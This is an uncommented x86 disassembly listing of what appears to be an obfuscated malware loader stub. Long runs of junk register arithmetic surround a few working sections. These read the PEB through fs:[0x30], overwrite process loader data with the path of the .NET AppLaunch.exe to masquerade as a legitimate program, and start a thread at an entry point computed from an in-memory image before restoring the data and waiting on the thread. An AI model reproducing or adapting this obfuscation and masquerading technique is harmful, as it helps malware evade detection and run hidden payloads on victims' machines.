sub edi, 0x92
not eax
rol eax, 0xd5
imul edx
bswap ebx
and edi, 0x19
ror ebx, 0xa4
ror esi, 0xe2
not edx
and esi, 0x75
sbb esi, 0x42
inc esi
not ebx
not edi
bswap edi
dec edx
inc ebx
ror edi, 0xf0
add esi, 0x48
not ebx
and ebx, 0x65
imul eax
and edi, 0xac
dec edi
dec esi
add ebx, 0xf0
neg eax
neg ebx
bswap edx
sub esi, 0x77
inc edx
rol edx, 0xc
neg edi
neg esi
and esi, 0x6c
or edi, 0xaa
sub eax, 0x3d
neg eax
bswap edx
bswap ebx
and eax, 0x18
rcr eax, 0x3a
bswap edx
inc esi
rcl edx, 0xc5
inc eax
rol ebx, 0xad
imul eax
inc eax
or eax, 0x80
ror edi, 0x8d
mov edx, 0x19
dec esi
or esi, 0x24
add esi, 0xbe
rcr ebx, 0xd1
rol edx, 0xe7
or edx, 0xbe
inc edx
rcr esi, 0xdc
neg edi
bswap ebx
mov edi, 0x64
rcl ebx, 0x95
and eax, 0x38
sub edi, 0x7e
neg ebx
ror edx, 7
not edx
imul esi
sub ebx, 0xcc
add edx, 0x75
bswap ebx
mov eax, 0x89
imul edi
or eax, 0x3c
inc edi
sbb eax, 0x52
dec ebx
neg ebx
not edx
add edx, 0xca
bswap edx
imul edx
ror ebx, 0x77
rcl esi, 0xd9
or edi, 0x8d
rcr edi, 0x13
imul ebx
imul edi
add esi, 0x12
inc edx
not esi
neg eax
ror eax, 0x35
dec edi
sbb edi, 0xc
bswap edi
rol eax, 0xeb
or edx, 0x61
not ebx
rcr eax, 0xc9
or edi, 0x1b
not edx
mov eax, 9
mov dword [ebp - 0x98], 0x30
mov eax, dword [ebp - 0x98]
mov eax, dword fs:[eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
add eax, 0xc
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
add eax, 0x14
mov eax, dword [eax]
sub eax, 8
mov dword [ebp - 0x74], eax
rcr esi, 0xc
add eax, 0x37
not esi
dec edi
imul esi
rcr edx, 0xed
not edi
imul eax
dec esi
ror ebx, 0x5d
rcl edx, 0x6a
rcl edx, 0x40
dec edx
add edi, 0xfa
imul ebx
or edx, 0x39
sub eax, 0xc1
and edx, 0x6c
ror esi, 0xae
dec eax
sbb eax, 0xfc
rol edi, 0x22
dec edi
sbb edx, 0x9b
neg edi
sbb esi, 0xed
neg ebx
or eax, 0xce
rcl edx, 0x5a
rol eax, 0xb6
imul edi
bswap edi
rcl esi, 0xcd
not ebx
not ebx
neg edx
add edi, 0x86
and esi, 0x99
bswap esi
mov eax, 0x20
bswap edi
dec edi
neg esi
dec esi
and eax, 0xe8
bswap edi
not ebx
add esi, 0x22
not edi
not eax
and edx, 0x57
neg edx
not edx
not esi
not ebx
sbb edi, 0xb1
ror edi, 0x6e
rcr esi, 0x16
not esi
or eax, 0x64
inc ebx
dec eax
inc edx
not edx
dec eax
rcr ebx, 0x64
ror eax, 0xec
sub edx, 0xa6
add esi, 0xbf
add edx, 0x15
dec ebx
inc esi
sbb edi, 9
add esi, 0x50
rol eax, 0xc5
or ebx, 0x5a
bswap edx
sub eax, 0xf2
sub esi, 2
not eax
inc eax
rol esi, 0x1c
sub edi, 0xa7
add edi, 0x3b
not edx
sbb esi, 0x65
imul edi
add edx, 0xad
inc edx
add ebx, 0xc7
bswap ebx
sub ebx, 0xa1
mov edx, 0xe6
sbb ebx, 0x88
rcr edi, 0x9b
neg ebx
add ebx, 0x78
rcl esi, 0x3b
sub esi, 0xbe
and ebx, 0x67
add ebx, 0x1c
sbb ebx, 0x3b
ror edi, 0x62
sbb edi, 0x47
ror edi, 0x18
imul edx
mov esi, 0x95
and edi, 0x61
dec eax
bswap edx
mov edx, 0x9f
mov edx, 0x98
and edx, 0xca
and edx, 0xd
sub eax, 0
bswap eax
inc edx
bswap edx
sbb ebx, 0xd9
sub edi, 0x7c
not ebx
dec esi
and ebx, 0xf3
inc edi
not edi
mov edi, 0x5a
sbb esi, 0xec
ror ebx, 0x81
rol edi, 0xba
rcl eax, 0x5a
ror esi, 0x19
rol edi, 0xbc
rcr esi, 0xc0
imul eax
inc esi
inc edx
neg esi
not eax
and esi, 0x93
imul eax
sub esi, 0xea
bswap esi
inc edi
ror edx, 0xeb
mov esi, 0xb4
bswap esi
rcr esi, 0x8a
not eax
dec eax
not ebx
mov eax, dword [ebp - 0x6c]
add eax, 8
mov edx, eax
mov eax, dword [ebp - 0x54]
mov dword [edx], eax
mov eax, dword [ebp - 0x74]
add eax, 0x18
mov edx, eax
mov eax, dword [ebp - 0x54]
mov dword [edx], eax
mov eax, dword [ebp - 0x74]
add eax, 0x24
mov dword [ebp - 0x78], eax
rol ebx, 0x76
dec esi
dec eax
not ebx
bswap eax
bswap eax
rcr esi, 0xc5
inc esi
add esi, 0xab
or ebx, 0xb6
dec edx
rcr edi, 0xfb
dec ebx
rcr edi, 7
mov ebx, 0x68
and edx, 0x15
bswap esi
imul edx
ror esi, 0x9e
neg edi
neg edx
bswap eax
bswap eax
add edx, 0x94
imul eax
sub ebx, 0x76
sbb edi, 0x79
rol edx, 0x1b
sbb edx, 0x23
rcr eax, 0x90
add esi, 0x86
not ebx
sbb ebx, 0x8c
not esi
ror edx, 0xe9
rcl ebx, 0x1e
sbb edi, 0xac
ror esi, 0xc7
inc edi
and ebx, 0x8d
dec eax
rol edx, 0x54
bswap esi
sub ebx, 0x2c
add edx, 0x7e
ror edx, 0x71
bswap eax
mov eax, 0x89
inc edx
dec edx
rcr edx, 0xd8
not eax
and edi, 0x24
imul esi
bswap edi
imul eax
and ebx, 0xac
not esi
inc esi
dec ebx
rcr edx, 0x9f
not edi
not edi
neg esi
inc esi
and edi, 0xd1
rcl eax, 0x52
imul esi
dec eax
bswap esi
mov edx, 0x7b
dec esi
rol eax, 0x80
rol edi, 0x5a
bswap eax
and edi, 0x30
sbb edi, 0x3c
mov eax, 0x3b
rcl ebx, 0x10
dec eax
or ebx, 0x32
imul ebx
neg eax
bswap edx
not ebx
inc esi
ror eax, 0xd2
sbb edx, 0x38
add edx, 0xe0
rcr esi, 0x9d
inc ebx
imul eax
or edi, 0xef
imul ebx
inc edx
not eax
bswap esi
rol esi, 0xac
neg ebx
and eax, 0xfe
not edx
ror eax, 0x42
imul esi
or esi, 0x72
mov ebx, 0x58
rol ebx, 0xec
neg edi
add eax, 0x13
ror edi, 0x1f
neg ebx
sbb edx, 9
imul edx
neg edi
inc ebx
inc ebx
imul edx
dec eax
not esi
inc eax
imul edx
neg eax
rcr edi, 0x3d
neg edx
mov edi, 0x9e
bswap edi
or edi, 0x75
rcr edx, 0xc6
not edi
imul edx
rol ebx, 0x51
dec ebx
neg esi
imul ebx
not eax
neg ebx
rol edi, 0x12
rcl edi, 0x5a
imul eax
sub edi, 0x30
mov edi, 0xa6
rcl edi, 0xf2
dec eax
add esi, 0xca
imul ebx
neg esi
rcl eax, 0x5e
imul ebx
bswap eax
inc edi
ror ebx, 0x14
lea eax, [ebp - 0x49938]
mov ebx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov edx, 0x1e
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0xe8]
test eax, eax
setne al
mov byte [ebp - 0x79], al
cmp byte [ebp - 0x79], 0
je 0x40359d
mov dword [esp + 8], 8
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 0xc0]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x78]
lea edx, [ebp - 0x49938]
mov dword [eax + 4], edx
lea eax, [ebp - 0x49938]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
call eax
sub esp, 4
lea edx, [eax + eax]
mov eax, dword [ebp - 0x78]
mov word [eax], dx
not esi
rol ebx, 0x74
rcl esi, 0xe7
neg esi
mov edx, 4
dec edx
sbb ebx, 0xcf
dec eax
and ebx, 0xe5
mov ebx, 0x70
sub esi, 0x84
imul esi
dec eax
or edi, 0x10
dec edi
or eax, 0x31
dec edi
rol edi, 0xc2
ror edi, 8
inc eax
rcl eax, 0x10
mov edx, 0xe0
rcl edi, 0x47
not eax
rol edx, 0xa3
rol edx, 0x9a
rcl edx, 0xff
and ebx, 0xcb
not eax
rcr ebx, 0x1d
imul edx
sbb edx, 0xeb
dec ebx
imul eax
inc esi
mov eax, 0x7c
ror esi, 0xac
rcr eax, 0x7c
bswap ebx
not ebx
neg edi
add eax, 0xa7
bswap ebx
imul ebx
and ebx, 0x2a
or edx, 0x27
dec edi
neg ebx
add eax, 0xb8
rcl eax, 1
or edi, 0xe9
rcr esi, 0xcd
and edx, 0xd0
not edx
neg eax
rol esi, 0x2f
bswap ebx
imul edx
inc edx
rcr eax, 0x5b
neg edx
inc eax
inc ebx
rcr eax, 4
or ebx, 0x2f
or esi, 0x3a
dec edi
ror esi, 0x3f
sbb esi, 0x64
or edi, 0xa5
rcl esi, 0x8d
imul eax
neg eax
sub edi, 0x7b
ror eax, 0xba
rcl eax, 0x69
bswap eax
imul esi
neg eax
inc edx
and eax, 0x49
mov ebx, 0x46
sub esi, 0x98
not edx
not ebx
and edi, 0x12
sbb ebx, 0x9f
ror eax, 0xc9
rol ebx, 0x43
imul ebx
bswap eax
imul esi
not edi
add eax, 0x5f
sbb eax, 0x61
sub edi, 0x6f
imul ebx
rol edi, 0xdc
add edx, 0x9d
inc edx
rcr ebx, 0x49
dec edi
dec ebx
rcr edx, 6
mov ebx, 0xb1
inc esi
not edx
add edx, 0xde
imul eax
imul esi
imul esi
imul eax
dec ebx
bswap esi
not eax
neg esi
inc edi
and ebx, 0x59
or edi, 0x71
inc ebx
imul ebx
imul edx
ror esi, 0xfd
neg ebx
inc eax
imul edx
rol esi, 0x92
bswap edi
neg edi
inc edi
and edx, 0xb6
not ebx
rcl ebx, 0x15
not edx
rcr eax, 0xc8
or eax, 1
sbb esi, 0xd3
imul edx
mov ebx, 0xb6
not ebx
neg edx
or edx, 0x5d
sub esi, 0x26
ror eax, 0x98
rcr eax, 0xef
dec esi
rcl edi, 0xed
dec esi
rcl edx, 0x19
sbb eax, 0x4a
mov eax, dword [ebp - 0x50]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x54]
add eax, edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x80], eax
cmp byte [ebp - 0x79], 0
je 0x4037ae
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 8
lea eax, [ebp - 0xc0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
ror edi, 0x42
inc ebx
imul esi
sub ebx, 0x2e
sbb ebx, 0xcb
imul eax
rcr ebx, 0x5c
sub edi, 0x7f
mov edx, 0xc9
inc edi
not ebx
bswap ebx
inc ebx
mov esi, 0x7e
sbb ebx, 0x46
dec edi
bswap edi
inc edi
and eax, 0xc
neg edx
not eax
add edi, 0x4b
sbb edi, 3
sbb edx, 0xe
add esi, 0xc0
bswap eax
dec edx
dec edi
rol ebx, 0x2b
sub eax, 0xad
bswap edi
bswap edx
inc edx
imul edx
add eax, 0x94
add edx, 0xf8
neg edx
mov esi, 0xc7
sub edx, 0x83
ror eax, 3
bswap edx
ror edx, 0x90
bswap ebx
ror edi, 7
imul edi
inc edi
inc ebx
inc edi
rcl edi, 0xec
neg edx
mov eax, 0xc1
sub eax, 0xf2
rol esi, 0xae
neg edx
mov ebx, 0xac
ror eax, 0xc
neg eax
add edi, 0x2a
bswap esi
bswap ebx
and edx, 0x1f
rcr ebx, 0xec
inc edi
not ebx
and esi, 0xa5
or edx, 0x45
sbb esi, 0x3f
rcl ebx, 0xff
neg ebx
ror edi, 0xf4
dec edi
dec esi
ror eax, 0x86
neg eax
bswap edx
dec eax
neg esi
neg ebx
not edx
add eax, 0xe4
rcr ebx, 0xcc
ror edi, 0x89
rcl edi, 0x7c
rcl edi, 0xce
not edi
mov edi, 0xa2
bswap ebx
or ebx, 0x75
dec eax
bswap ebx
rol edi, 0xdf
mov ebx, 0x32
bswap edi
imul esi
rcr eax, 0x17
inc ebx
ror ebx, 0x3a
rcr esi, 0x8f
not eax
rcl eax, 0xa0
dec ebx
ror eax, 0x7b
imul eax
add edx, 6
rcl eax, 0x24
sbb ebx, 0x97
dec ebx
bswap ebx
neg edx
bswap edi
bswap ebx
inc edx
neg edx
sbb eax, 0x4a
rcr edx, 0x49
or eax, 0x42
or edx, 0xa6
mov edi, 0x11
mov eax, 0x70
mov eax, 0x75
and ebx, 0xd1
sbb edi, 0x13
ror esi, 0x6f
add esi, 0xba
imul esi
and edx, 0xc0
inc esi
dec esi
imul eax
not esi
neg edx
ror eax, 0x7f
not eax
ror edi, 0x64
inc edx
not edx
sbb edi, 0xcf
rol esi, 0xee
ror eax, 0x25
mov esi, 0x38
inc esi
neg esi
sub esi, 0x21
rol edi, 0x17
add edi, 0x54
ror eax, 0x9e
or ebx, 1
or eax, 0x54
rcr eax, 0x5d
bswap edx
mov eax, 0
jmp 0x403974
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret